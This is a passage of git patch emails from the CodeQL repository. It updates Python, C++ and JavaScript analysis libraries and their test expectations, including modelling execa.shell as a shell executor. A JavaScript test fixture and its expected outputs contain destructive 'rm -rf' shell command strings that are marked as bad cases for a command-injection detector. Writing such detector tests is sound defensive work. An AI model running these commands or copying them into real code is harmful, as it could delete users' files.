python/ql/src/semmle/python/web/HttpConstants.qll | 2 +- .../library-tests/frameworks/stdlib/http_server.py | 4 ++-- 3 files changed, 17 insertions(+), 3 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Stdlib.qll b/python/ql/src/semmle/python/frameworks/Stdlib.qll index 8840e1bba60..5120534d014 100644 --- a/python/ql/src/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/src/semmle/python/frameworks/Stdlib.qll @@ -1616,6 +1616,20 @@ private module Stdlib { ) } } + + /** + * The entry-point for handling a request with a `BaseHTTPRequestHandler` subclass. + * + * Not essential for any functionality, but provides a consistent modeling. + */ + private class RequestHandlerFunc extends HTTP::Server::RequestHandler::Range { + RequestHandlerFunc() { + this = any(HTTPRequestHandlerClassDef cls).getAMethod() and + this.getName() = "do_" + HTTP::httpVerb() + } + + override Parameter getARoutedParameter() { none() } + } } // --------------------------------------------------------------------------- diff --git a/python/ql/src/semmle/python/web/HttpConstants.qll b/python/ql/src/semmle/python/web/HttpConstants.qll index b3b389faf62..d3e8b0412a4 100644 --- a/python/ql/src/semmle/python/web/HttpConstants.qll +++ b/python/ql/src/semmle/python/web/HttpConstants.qll @@ -1,4 +1,4 @@ -/** Gets an HTTP verb */ +/** Gets an HTTP verb, in upper case */ string httpVerb() { result = "GET" or result = "POST" or diff --git a/python/ql/test/experimental/library-tests/frameworks/stdlib/http_server.py b/python/ql/test/experimental/library-tests/frameworks/stdlib/http_server.py index f74cc171136..8d996acb41d 100644 --- a/python/ql/test/experimental/library-tests/frameworks/stdlib/http_server.py +++ b/python/ql/test/experimental/library-tests/frameworks/stdlib/http_server.py @@ -78,7 +78,7 @@ class MyHandler(BaseHTTPRequestHandler): ensure_tainted(form) - def do_GET(self): # $ MISSING: requestHandler + def do_GET(self): # $ requestHandler # send_response will log a line to stderr self.send_response(200) self.send_header("Content-type", "text/plain; charset=utf-8") @@ -88,7 +88,7 @@ class MyHandler(BaseHTTPRequestHandler): print(self.headers) - def do_POST(self): # $ MISSING: requestHandler + def do_POST(self): # $ requestHandler form = cgi.FieldStorage( self.rfile, self.headers, From 4f07474b6271ce261990c754c1ca50dcb41c365e Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Mon, 21 Dec 2020 19:55:47 +0100 Subject: [PATCH 0346/1241] C++: Also allow custom sources in taintedWithoutGlobals --- .../src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll index 5c6409ced9f..5154f5c3239 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll @@ -734,8 +734,8 @@ module TaintedWithPath { * through a global variable. */ predicate taintedWithoutGlobals(Element tainted) { - exists(PathNode sourceNode, FinalPathNode sinkNode | - sourceNode.(WrapPathNode).inner().getNode() = getNodeForSource(_) and + exists(AdjustedConfiguration cfg, PathNode sourceNode, FinalPathNode sinkNode | + cfg.isSource(sourceNode.(WrapPathNode).inner().getNode()) and edgesWithoutGlobals+(sourceNode, sinkNode) and tainted = sinkNode.inner() ) From 18d26cabe58e5aa93f693171e6bfef83c2b135a7 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 22 Dec 2020 08:37:24 +0100 Subject: [PATCH 0347/1241] Update javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll Co-authored-by: Esben Sparre Andreasen <esbena@github.com> --- .../dataflow/UnsafeShellCommandConstructionCustomizations.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index 9347c594d27..876b623b5b4 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -191,8 +191,8 @@ module UnsafeShellCommandConstruction { } /** - * A check of the form `type x === "X"`, where x is "number", or "boolean", - * which sanitized `x` in its "then" branch. + * A guard of the form `typeof x === "<T>"`, where <T> is "number", or "boolean", + * which sanitizes `x` in its "then" branch. */ class TypeOfSanitizer extends TaintTracking::SanitizerGuardNode, DataFlow::ValueNode { Expr x; From 34a6e15426ddcd4681475291e17d163b20928f9b Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 22 Dec 2020 08:53:14 +0100 Subject: [PATCH 0348/1241] make TypeOfSanitizer slightly more robost --- .../UnsafeShellCommandConstructionCustomizations.qll | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index 876b623b5b4..70fbd3a1f66 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -7,6 +7,7 @@ import javascript private import semmle.javascript.security.dataflow.RemoteFlowSources private import semmle.javascript.PackageExports as Exports +private import semmle.javascript.dataflow.InferredTypes /** * Module containing sources, sinks, and sanitizers for shell command constructed from library input. @@ -199,8 +200,10 @@ module UnsafeShellCommandConstruction { override EqualityTest astNode; TypeOfSanitizer() { - exists(StringLiteral str, TypeofExpr typeof | astNode.hasOperands(str, typeof) | - str.getValue() = ["number", "boolean"] and // "undefined" is already handled in TaintTracking.qll + exists(Expr str, TypeofExpr typeof | astNode.hasOperands(str, typeof) | + str.mayHaveStringValue(any(InferredType t | + t = TTUndefined() or t = TTNumber() or t = TTBoolean() + ).getTypeofTag()) and typeof.getOperand() = x ) } From ba714a1214b7ed6fd1c2b3f1270aa1c142174deb Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Tue, 22 Dec 2020 09:01:43 +0100 Subject: [PATCH 0349/1241] JS: add execa.shell tests --- .../Security/CWE-078/Consistency.expected | 2 ++ ...llCommandInjectionFromEnvironment.expected | 20 +++++++++---------- .../Security/CWE-078/UselessUseOfCat.expected | 5 +++-- ...hell-command-injection-from-environment.js | 6 +++++- 4 files changed, 20 insertions(+), 13 deletions(-) diff --git a/javascript/ql/test/query-tests/Security/CWE-078/Consistency.expected b/javascript/ql/test/query-tests/Security/CWE-078/Consistency.expected index e69de29bb2d..ac4ec96c197 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/Consistency.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/Consistency.expected @@ -0,0 +1,2 @@ +| query-tests/Security/CWE-078/tst_shell-command-injection-from-environment.js:8 | expected an alert, but found none | NOT OK | ComandInjection | +| query-tests/Security/CWE-078/tst_shell-command-injection-from-environment.js:9 | expected an alert, but found none | NOT OK | ComandInjection | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment.expected b/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment.expected index ec3e7c99ecb..61f3511a7cd 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment.expected @@ -1,13 +1,13 @@ nodes -| tst_shell-command-injection-from-environment.js:5:14:5:53 | 'rm -rf ... "temp") | -| tst_shell-command-injection-from-environment.js:5:14:5:53 | 'rm -rf ... "temp") | -| tst_shell-command-injection-from-environment.js:5:26:5:53 | path.jo ... "temp") | -| tst_shell-command-injection-from-environment.js:5:36:5:44 | __dirname | -| tst_shell-command-injection-from-environment.js:5:36:5:44 | __dirname | +| tst_shell-command-injection-from-environment.js:6:14:6:53 | 'rm -rf ... "temp") | +| tst_shell-command-injection-from-environment.js:6:14:6:53 | 'rm -rf ... "temp") | +| tst_shell-command-injection-from-environment.js:6:26:6:53 | path.jo ... "temp") | +| tst_shell-command-injection-from-environment.js:6:36:6:44 | __dirname | +| tst_shell-command-injection-from-environment.js:6:36:6:44 | __dirname | edges -| tst_shell-command-injection-from-environment.js:5:26:5:53 | path.jo ... "temp") | tst_shell-command-injection-from-environment.js:5:14:5:53 | 'rm -rf ... "temp") | -| tst_shell-command-injection-from-environment.js:5:26:5:53 | path.jo ... "temp") | tst_shell-command-injection-from-environment.js:5:14:5:53 | 'rm -rf ... "temp") | -| tst_shell-command-injection-from-environment.js:5:36:5:44 | __dirname | tst_shell-command-injection-from-environment.js:5:26:5:53 | path.jo ... "temp") | -| tst_shell-command-injection-from-environment.js:5:36:5:44 | __dirname | tst_shell-command-injection-from-environment.js:5:26:5:53 | path.jo ... "temp") | +| tst_shell-command-injection-from-environment.js:6:26:6:53 | path.jo ... "temp") | tst_shell-command-injection-from-environment.js:6:14:6:53 | 'rm -rf ... "temp") | +| tst_shell-command-injection-from-environment.js:6:26:6:53 | path.jo ... "temp") | tst_shell-command-injection-from-environment.js:6:14:6:53 | 'rm -rf ... "temp") | +| tst_shell-command-injection-from-environment.js:6:36:6:44 | __dirname | tst_shell-command-injection-from-environment.js:6:26:6:53 | path.jo ... "temp") | +| tst_shell-command-injection-from-environment.js:6:36:6:44 | __dirname | tst_shell-command-injection-from-environment.js:6:26:6:53 | path.jo ... "temp") | #select -| tst_shell-command-injection-from-environment.js:5:14:5:53 | 'rm -rf ... "temp") | tst_shell-command-injection-from-environment.js:5:36:5:44 | __dirname | tst_shell-command-injection-from-environment.js:5:14:5:53 | 'rm -rf ... "temp") | This shell command depends on an uncontrolled $@. | tst_shell-command-injection-from-environment.js:5:36:5:44 | __dirname | absolute path | +| tst_shell-command-injection-from-environment.js:6:14:6:53 | 'rm -rf ... "temp") | tst_shell-command-injection-from-environment.js:6:36:6:44 | __dirname | tst_shell-command-injection-from-environment.js:6:14:6:53 | 'rm -rf ... "temp") | This shell command depends on an uncontrolled $@. | tst_shell-command-injection-from-environment.js:6:36:6:44 | __dirname | absolute path | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UselessUseOfCat.expected b/javascript/ql/test/query-tests/Security/CWE-078/UselessUseOfCat.expected index 0480391fd82..7a7e22fb332 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/UselessUseOfCat.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/UselessUseOfCat.expected @@ -58,8 +58,9 @@ syncCommand | other.js:12:5:12:30 | require ... nc(cmd) | | other.js:30:5:30:36 | require ... ")(cmd) | | third-party-command-injection.js:6:9:6:28 | cp.execSync(command) | -| tst_shell-command-injection-from-environment.js:4:2:4:62 | cp.exec ... emp")]) | -| tst_shell-command-injection-from-environment.js:5:2:5:54 | cp.exec ... temp")) | +| tst_shell-command-injection-from-environment.js:5:2:5:62 | cp.exec ... emp")]) | +| tst_shell-command-injection-from-environment.js:6:2:6:54 | cp.exec ... temp")) | +| tst_shell-command-injection-from-environment.js:9:2:9:58 | execa.s ... temp")) | | uselesscat.js:16:1:16:29 | execSyn ... uinfo') | | uselesscat.js:18:1:18:26 | execSyn ... path}`) | | uselesscat.js:20:1:20:36 | execSyn ... wc -l') | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/tst_shell-command-injection-from-environment.js b/javascript/ql/test/query-tests/Security/CWE-078/tst_shell-command-injection-from-environment.js index 08f71a8ee0c..a4c7860993f 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/tst_shell-command-injection-from-environment.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/tst_shell-command-injection-from-environment.js @@ -1,6 +1,10 @@ var cp = require('child_process'), - path = require('path'); + path = require('path'), + execa = require("execa"); (function() { cp.execFileSync('rm', ['-rf', path.join(__dirname, "temp")]); // GOOD cp.execSync('rm -rf ' + path.join(__dirname, "temp")); // BAD + + execa.shell('rm -rf ' + path.join(__dirname, "temp")); // NOT OK + execa.shellSync('rm -rf ' + path.join(__dirname, "temp")); // NOT OK }); From ab4f3ea25975f3e050b97a9359911818ef71dba9 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Tue, 22 Dec 2020 09:06:18 +0100 Subject: [PATCH 0350/1241] JS: fixup for execa.shell and execa.shellSync models --- .../frameworks/SystemCommandExecutors.qll | 9 ++++++--- .../Security/CWE-078/Consistency.expected | 2 -- ...llCommandInjectionFromEnvironment.expected | 20 +++++++++++++++++++ 3 files changed, 26 insertions(+), 5 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/SystemCommandExecutors.qll b/javascript/ql/src/semmle/javascript/frameworks/SystemCommandExecutors.qll index c6c59ccaa4b..a95be280be6 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/SystemCommandExecutors.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/SystemCommandExecutors.qll @@ -18,15 +18,18 @@ private predicate execApi(string mod, string fn, int cmdArg, int optionsArg, boo shell = false and ( fn = "node" or - fn = "shell" or - fn = "shellSync" or fn = "stdout" or fn = "stderr" or fn = "sync" ) or shell = true and - (fn = "command" or fn = "commandSync") + ( + fn = "command" or + fn = "commandSync" or + fn = "shell" or + fn = "shellSync" + ) ) and cmdArg = 0 } diff --git a/javascript/ql/test/query-tests/Security/CWE-078/Consistency.expected b/javascript/ql/test/query-tests/Security/CWE-078/Consistency.expected index ac4ec96c197..e69de29bb2d 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/Consistency.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/Consistency.expected @@ -1,2 +0,0 @@ -| query-tests/Security/CWE-078/tst_shell-command-injection-from-environment.js:8 | expected an alert, but found none | NOT OK | ComandInjection | -| query-tests/Security/CWE-078/tst_shell-command-injection-from-environment.js:9 | expected an alert, but found none | NOT OK | ComandInjection | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment.expected b/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment.expected index 61f3511a7cd..7bea597fc28 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/ShellCommandInjectionFromEnvironment.expected @@ -4,10 +4,30 @@ nodes | tst_shell-command-injection-from-environment.js:6:26:6:53 | path.jo ... "temp") | | tst_shell-command-injection-from-environment.js:6:36:6:44 | __dirname | | tst_shell-command-injection-from-environment.js:6:36:6:44 | __dirname | +| tst_shell-command-injection-from-environment.js:8:14:8:53 | 'rm -rf ... "temp") | +| tst_shell-command-injection-from-environment.js:8:14:8:53 | 'rm -rf ... "temp") | +| tst_shell-command-injection-from-environment.js:8:26:8:53 | path.jo ... "temp") | +| tst_shell-command-injection-from-environment.js:8:36:8:44 | __dirname | +| tst_shell-command-injection-from-environment.js:8:36:8:44 | __dirname | +| tst_shell-command-injection-from-environment.js:9:18:9:57 | 'rm -rf ... "temp") | +| tst_shell-command-injection-from-environment.js:9:18:9:57 | 'rm -rf ... "temp") | +| tst_shell-command-injection-from-environment.js:9:30:9:57 | path.jo ... "temp") | +| tst_shell-command-injection-from-environment.js:9:40:9:48 | __dirname | +| tst_shell-command-injection-from-environment.js:9:40:9:48 | __dirname | edges | tst_shell-command-injection-from-environment.js:6:26:6:53 | path.jo ... "temp") | tst_shell-command-injection-from-environment.js:6:14:6:53 | 'rm -rf ... "temp") | | tst_shell-command-injection-from-environment.js:6:26:6:53 | path.jo ... "temp") | tst_shell-command-injection-from-environment.js:6:14:6:53 | 'rm -rf ... "temp") | | tst_shell-command-injection-from-environment.js:6:36:6:44 | __dirname | tst_shell-command-injection-from-environment.js:6:26:6:53 | path.jo ... "temp") | | tst_shell-command-injection-from-environment.js:6:36:6:44 | __dirname | tst_shell-command-injection-from-environment.js:6:26:6:53 | path.jo ... "temp") | +| tst_shell-command-injection-from-environment.js:8:26:8:53 | path.jo ... "temp") | tst_shell-command-injection-from-environment.js:8:14:8:53 | 'rm -rf ... "temp") | +| tst_shell-command-injection-from-environment.js:8:26:8:53 | path.jo ... "temp") | tst_shell-command-injection-from-environment.js:8:14:8:53 | 'rm -rf ... "temp") | +| tst_shell-command-injection-from-environment.js:8:36:8:44 | __dirname | tst_shell-command-injection-from-environment.js:8:26:8:53 | path.jo ... "temp") | +| tst_shell-command-injection-from-environment.js:8:36:8:44 | __dirname | tst_shell-command-injection-from-environment.js:8:26:8:53 | path.jo ... "temp") | +| tst_shell-command-injection-from-environment.js:9:30:9:57 | path.jo ... "temp") | tst_shell-command-injection-from-environment.js:9:18:9:57 | 'rm -rf ... "temp") | +| tst_shell-command-injection-from-environment.js:9:30:9:57 | path.jo ... "temp") | tst_shell-command-injection-from-environment.js:9:18:9:57 | 'rm -rf ... "temp") | +| tst_shell-command-injection-from-environment.js:9:40:9:48 | __dirname | tst_shell-command-injection-from-environment.js:9:30:9:57 | path.jo ... "temp") | +| tst_shell-command-injection-from-environment.js:9:40:9:48 | __dirname | tst_shell-command-injection-from-environment.js:9:30:9:57 | path.jo ... "temp") | #select | tst_shell-command-injection-from-environment.js:6:14:6:53 | 'rm -rf ... "temp") | tst_shell-command-injection-from-environment.js:6:36:6:44 | __dirname | tst_shell-command-injection-from-environment.js:6:14:6:53 | 'rm -rf ... "temp") | This shell command depends on an uncontrolled $@. | tst_shell-command-injection-from-environment.js:6:36:6:44 | __dirname | absolute path | +| tst_shell-command-injection-from-environment.js:8:14:8:53 | 'rm -rf ... "temp") | tst_shell-command-injection-from-environment.js:8:36:8:44 | __dirname | tst_shell-command-injection-from-environment.js:8:14:8:53 | 'rm -rf ... "temp") | This shell command depends on an uncontrolled $@. | tst_shell-command-injection-from-environment.js:8:36:8:44 | __dirname | absolute path | +| tst_shell-command-injection-from-environment.js:9:18:9:57 | 'rm -rf ... "temp") | tst_shell-command-injection-from-environment.js:9:40:9:48 | __dirname | tst_shell-command-injection-from-environment.js:9:18:9:57 | 'rm -rf ... "temp") | This shell command depends on an uncontrolled $@. | tst_shell-command-injection-from-environment.js:9:40:9:48 | __dirname | absolute path | From ba4da72b9e20ff70c331224308b403bfc8018468 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Sat, 5 Dec 2020 13:39:42 +0100 Subject: [PATCH 0351/1241] C++: Add examples that require longer access paths --- .../dataflow/fields/aliasing.cpp | 28 +++++++++++ .../fields/dataflow-consistency.expected | 5 ++ .../fields/dataflow-ir-consistency.expected | 6 +++ .../fields/partial-definition-diff.expected | 10 ++++ .../fields/partial-definition-ir.expected | 5 ++ .../fields/partial-definition.expected | 15 ++++++ .../dataflow/fields/path-flow.expected | 47 +++++++++++++++++++ .../library-tests/dataflow/fields/simple.cpp | 12 +++++ 8 files changed, 128 insertions(+) diff --git a/cpp/ql/test/library-tests/dataflow/fields/aliasing.cpp b/cpp/ql/test/library-tests/dataflow/fields/aliasing.cpp index 500bbed53a9..8b3c0f29ab2 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/aliasing.cpp +++ b/cpp/ql/test/library-tests/dataflow/fields/aliasing.cpp @@ -204,4 +204,32 @@ void deep_member_field_arrow(S2 *ps2) { void deep_member_field_arrow_different_fields(S2 *ps2) { taint_a_ptr(&ps2->s.m1); sink(ps2->s.m2); +} + +void test_deep_struct_fields() { + S2 s2; + s2.s.m1 = user_input(); + S s = s2.s; + sink(s.m1); // $ ast MISSING: ir +} + +void test_deep_struct_fields_no_flow() { + S2 s2; + s2.s.m1 = user_input(); + S s = s2.s; + sink(s.m2); +} + +void test_deep_struct_fields_taint_through_call() { + S2 s2; + taint_a_ptr(&s2.s.m1); + S s = s2.s; + sink(s.m1); // $ ast MISSING: ir +} + +void test_deep_struct_fields_taint_through_call_no_flow() { + S2 s2; + taint_a_ptr(&s2.s.m1); + S s = s2.s; + sink(s.m2); } \ No newline at end of file diff --git a/cpp/ql/test/library-tests/dataflow/fields/dataflow-consistency.expected b/cpp/ql/test/library-tests/dataflow/fields/dataflow-consistency.expected index 49b12c14350..0594034912f 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/dataflow-consistency.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/dataflow-consistency.expected @@ -89,6 +89,10 @@ postWithInFlow | aliasing.cpp:194:21:194:22 | m1 [inner post update] | PostUpdateNode should not be the target of local flow. | | aliasing.cpp:200:23:200:24 | m1 [inner post update] | PostUpdateNode should not be the target of local flow. | | aliasing.cpp:205:23:205:24 | m1 [inner post update] | PostUpdateNode should not be the target of local flow. | +| aliasing.cpp:211:8:211:9 | m1 [post update] | PostUpdateNode should not be the target of local flow. | +| aliasing.cpp:218:8:218:9 | m1 [post update] | PostUpdateNode should not be the target of local flow. | +| aliasing.cpp:225:21:225:22 | m1 [inner post update] | PostUpdateNode should not be the target of local flow. | +| aliasing.cpp:232:21:232:22 | m1 [inner post update] | PostUpdateNode should not be the target of local flow. | | arrays.cpp:6:3:6:5 | arr [inner post update] | PostUpdateNode should not be the target of local flow. | | arrays.cpp:6:3:6:8 | access to array [post update] | PostUpdateNode should not be the target of local flow. | | arrays.cpp:15:3:15:10 | * ... [post update] | PostUpdateNode should not be the target of local flow. | @@ -145,5 +149,6 @@ postWithInFlow | simple.cpp:65:7:65:7 | i [post update] | PostUpdateNode should not be the target of local flow. | | simple.cpp:83:12:83:13 | f1 [post update] | PostUpdateNode should not be the target of local flow. | | simple.cpp:92:7:92:7 | i [post update] | PostUpdateNode should not be the target of local flow. | +| simple.cpp:104:9:104:9 | i [post update] | PostUpdateNode should not be the target of local flow. | | struct_init.c:24:11:24:12 | ab [inner post update] | PostUpdateNode should not be the target of local flow. | | struct_init.c:36:17:36:24 | nestedAB [inner post update] | PostUpdateNode should not be the target of local flow. | diff --git a/cpp/ql/test/library-tests/dataflow/fields/dataflow-ir-consistency.expected b/cpp/ql/test/library-tests/dataflow/fields/dataflow-ir-consistency.expected index b09317c2c1b..23f8d07717f 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/dataflow-ir-consistency.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/dataflow-ir-consistency.expected @@ -18,6 +18,7 @@ postIsNotPre postHasUniquePre | simple.cpp:65:5:65:22 | Store | PostUpdateNode should have one pre-update node but has 0. | | simple.cpp:92:5:92:22 | Store | PostUpdateNode should have one pre-update node but has 0. | +| simple.cpp:104:5:104:24 | Store | PostUpdateNode should have one pre-update node but has 0. | uniquePostUpdate postIsInSameCallable reverseRead @@ -96,6 +97,10 @@ postWithInFlow | aliasing.cpp:194:15:194:22 | Chi | PostUpdateNode should not be the target of local flow. | | aliasing.cpp:200:15:200:24 | Chi | PostUpdateNode should not be the target of local flow. | | aliasing.cpp:205:15:205:24 | Chi | PostUpdateNode should not be the target of local flow. | +| aliasing.cpp:211:3:211:24 | Chi | PostUpdateNode should not be the target of local flow. | +| aliasing.cpp:218:3:218:24 | Chi | PostUpdateNode should not be the target of local flow. | +| aliasing.cpp:225:15:225:22 | Chi | PostUpdateNode should not be the target of local flow. | +| aliasing.cpp:232:15:232:22 | Chi | PostUpdateNode should not be the target of local flow. | | arrays.cpp:5:18:5:23 | Chi | PostUpdateNode should not be the target of local flow. | | arrays.cpp:5:21:5:21 | Chi | PostUpdateNode should not be the target of local flow. | | arrays.cpp:6:3:6:23 | Chi | PostUpdateNode should not be the target of local flow. | @@ -145,6 +150,7 @@ postWithInFlow | simple.cpp:65:5:65:22 | Store | PostUpdateNode should not be the target of local flow. | | simple.cpp:83:9:83:28 | Chi | PostUpdateNode should not be the target of local flow. | | simple.cpp:92:5:92:22 | Store | PostUpdateNode should not be the target of local flow. | +| simple.cpp:104:5:104:24 | Store | PostUpdateNode should not be the target of local flow. | | struct_init.c:20:20:20:29 | Chi | PostUpdateNode should not be the target of local flow. | | struct_init.c:20:34:20:34 | Chi | PostUpdateNode should not be the target of local flow. | | struct_init.c:27:7:27:16 | Chi | PostUpdateNode should not be the target of local flow. | diff --git a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected index bba86417ca5..ee0a3a33779 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected @@ -183,6 +183,14 @@ | aliasing.cpp:200:16:200:18 | ps2 | AST only | | aliasing.cpp:205:15:205:24 | & ... | AST only | | aliasing.cpp:205:16:205:18 | ps2 | AST only | +| aliasing.cpp:211:3:211:4 | s2 | AST only | +| aliasing.cpp:211:8:211:9 | m1 | AST only | +| aliasing.cpp:218:3:218:4 | s2 | AST only | +| aliasing.cpp:218:8:218:9 | m1 | AST only | +| aliasing.cpp:225:15:225:22 | & ... | AST only | +| aliasing.cpp:225:16:225:17 | s2 | AST only | +| aliasing.cpp:232:15:232:22 | & ... | AST only | +| aliasing.cpp:232:16:232:17 | s2 | AST only | | arrays.cpp:6:3:6:8 | access to array | AST only | | arrays.cpp:6:3:6:23 | arr | IR only | | arrays.cpp:15:3:15:10 | * ... | AST only | @@ -399,6 +407,8 @@ | simple.cpp:83:12:83:13 | f1 | AST only | | simple.cpp:84:14:84:20 | this | AST only | | simple.cpp:92:7:92:7 | i | AST only | +| simple.cpp:104:5:104:5 | b | AST only | +| simple.cpp:104:9:104:9 | i | AST only | | struct_init.c:15:8:15:9 | ab | AST only | | struct_init.c:15:12:15:12 | a | AST only | | struct_init.c:16:8:16:9 | ab | AST only | diff --git a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-ir.expected b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-ir.expected index 8d12b2a7e05..5b73bf8dd33 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-ir.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-ir.expected @@ -35,6 +35,10 @@ | aliasing.cpp:194:19:194:19 | s | | aliasing.cpp:200:21:200:21 | s | | aliasing.cpp:205:21:205:21 | s | +| aliasing.cpp:211:6:211:6 | s | +| aliasing.cpp:218:6:218:6 | s | +| aliasing.cpp:225:19:225:19 | s | +| aliasing.cpp:232:19:232:19 | s | | arrays.cpp:6:3:6:5 | arr | | arrays.cpp:36:3:36:17 | access to array | | by_reference.cpp:12:5:12:5 | s | @@ -68,4 +72,5 @@ | simple.cpp:65:5:65:5 | a | | simple.cpp:83:9:83:10 | f2 | | simple.cpp:92:5:92:5 | a | +| simple.cpp:104:7:104:7 | a | | struct_init.c:36:11:36:15 | outer | diff --git a/cpp/ql/test/library-tests/dataflow/fields/partial-definition.expected b/cpp/ql/test/library-tests/dataflow/fields/partial-definition.expected index 6c58d51ff74..e96fae3cb20 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/partial-definition.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/partial-definition.expected @@ -220,6 +220,18 @@ | aliasing.cpp:205:15:205:24 | & ... | | aliasing.cpp:205:16:205:18 | ps2 | | aliasing.cpp:205:21:205:21 | s | +| aliasing.cpp:211:3:211:4 | s2 | +| aliasing.cpp:211:6:211:6 | s | +| aliasing.cpp:211:8:211:9 | m1 | +| aliasing.cpp:218:3:218:4 | s2 | +| aliasing.cpp:218:6:218:6 | s | +| aliasing.cpp:218:8:218:9 | m1 | +| aliasing.cpp:225:15:225:22 | & ... | +| aliasing.cpp:225:16:225:17 | s2 | +| aliasing.cpp:225:19:225:19 | s | +| aliasing.cpp:232:15:232:22 | & ... | +| aliasing.cpp:232:16:232:17 | s2 | +| aliasing.cpp:232:19:232:19 | s | | arrays.cpp:6:3:6:8 | access to array | | arrays.cpp:15:3:15:10 | * ... | | arrays.cpp:36:3:36:3 | o | @@ -467,6 +479,9 @@ | simple.cpp:84:14:84:20 | this | | simple.cpp:92:5:92:5 | a | | simple.cpp:92:7:92:7 | i | +| simple.cpp:104:5:104:5 | b | +| simple.cpp:104:7:104:7 | a | +| simple.cpp:104:9:104:9 | i | | struct_init.c:15:8:15:9 | ab | | struct_init.c:15:12:15:12 | a | | struct_init.c:16:8:16:9 | ab | diff --git a/cpp/ql/test/library-tests/dataflow/fields/path-flow.expected b/cpp/ql/test/library-tests/dataflow/fields/path-flow.expected index b932e0395f4..93ec3ca710d 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/path-flow.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/path-flow.expected @@ -160,6 +160,7 @@ edges | aliasing.cpp:106:4:106:5 | pa [inner post update] | aliasing.cpp:175:15:175:22 | ref arg & ... | | aliasing.cpp:106:4:106:5 | pa [inner post update] | aliasing.cpp:187:15:187:22 | ref arg & ... | | aliasing.cpp:106:4:106:5 | pa [inner post update] | aliasing.cpp:200:15:200:24 | ref arg & ... | +| aliasing.cpp:106:4:106:5 | pa [inner post update] | aliasing.cpp:225:15:225:22 | ref arg & ... | | aliasing.cpp:106:9:106:18 | call to user_input | aliasing.cpp:106:4:106:5 | pa [inner post update] | | aliasing.cpp:158:15:158:15 | s [post update] [data] | aliasing.cpp:159:9:159:9 | s [data] | | aliasing.cpp:158:17:158:20 | ref arg data | aliasing.cpp:158:15:158:15 | s [post update] [data] | @@ -187,6 +188,20 @@ edges | aliasing.cpp:200:23:200:24 | m1 [inner post update] | aliasing.cpp:200:21:200:21 | s [post update] [m1] | | 